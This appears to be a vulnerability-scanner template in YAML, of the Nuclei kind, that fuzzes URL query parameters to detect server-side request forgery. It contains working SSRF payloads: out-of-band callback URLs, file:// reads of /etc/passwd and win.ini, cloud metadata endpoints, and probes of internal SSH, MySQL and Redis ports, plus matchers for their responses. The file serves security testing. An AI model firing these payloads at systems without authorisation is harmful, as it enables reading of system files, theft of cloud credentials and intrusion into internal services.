128 lines
2.6 KiB
YAML
128 lines
2.6 KiB
YAML
id: response-ssrf
|
|
|
|
info:
|
|
name: Full Response SSRF Detection
|
|
author: pdteam,pwnhxl,j4vaovo
|
|
severity: high
|
|
reference:
|
|
- https://github.com/bugcrowd/HUNT/blob/master/ZAP/scripts/passive/SSRF.py
|
|
tags: ssrf,dast,fuzz
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}"
|
|
|
|
payloads:
|
|
ssrf:
|
|
- 'http://{{interactsh-url}}'
|
|
- 'http://{{FQDN}}.{{interactsh-url}}'
|
|
- 'http://{{RDN}}.{{interactsh-url}}'
|
|
- 'file:////./etc/./passwd'
|
|
- 'file:///c:/./windows/./win.ini'
|
|
- 'http://metadata.tencentyun.com/latest/meta-data/'
|
|
- 'http://100.100.100.200/latest/meta-data/'
|
|
- 'http://169.254.169.254/latest/meta-data/'
|
|
- 'http://169.254.169.254/metadata/v1'
|
|
- 'http://127.0.0.1:22'
|
|
- 'http://127.0.0.1:3306'
|
|
- 'dict://127.0.0.1:6379/info'
|
|
|
|
fuzzing:
|
|
- part: query
|
|
mode: single
|
|
keys:
|
|
- callback
|
|
- continue
|
|
- data
|
|
- dest
|
|
- dir
|
|
- domain
|
|
- feed
|
|
- file
|
|
- host
|
|
- html
|
|
- imgurl
|
|
- navigation
|
|
- next
|
|
- open
|
|
- out
|
|
- page
|
|
- path
|
|
- port
|
|
- redirect
|
|
- reference
|
|
- return
|
|
- show
|
|
- site
|
|
- to
|
|
- uri
|
|
- url
|
|
- val
|
|
- validate
|
|
- view
|
|
- window
|
|
fuzz:
|
|
- "{{ssrf}}"
|
|
|
|
- part: query
|
|
mode: single
|
|
values:
|
|
- "(https|http|file)(%3A%2F%2F|://)(.*?)"
|
|
fuzz:
|
|
- "{{ssrf}}"
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: or
|
|
matchers:
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "Interactsh Server"
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- 'SSH-(\d.\d)-OpenSSH_(\d.\d)'
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- '(DENIED Redis|CONFIG REWRITE|NOAUTH Authentication)'
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- '(\d.\d.\d)(.*?)mysql_native_password'
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- 'root:.*?:[0-9]*:[0-9]*:'
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'for 16-bit app support'
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- 'dns-conf\/[\s\S]+instance\/'
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- 'app-id[\s\S]+placement\/'
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- 'ami-id[\s\S]+placement\/'
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- 'id[\s\S]+interfaces\/'
|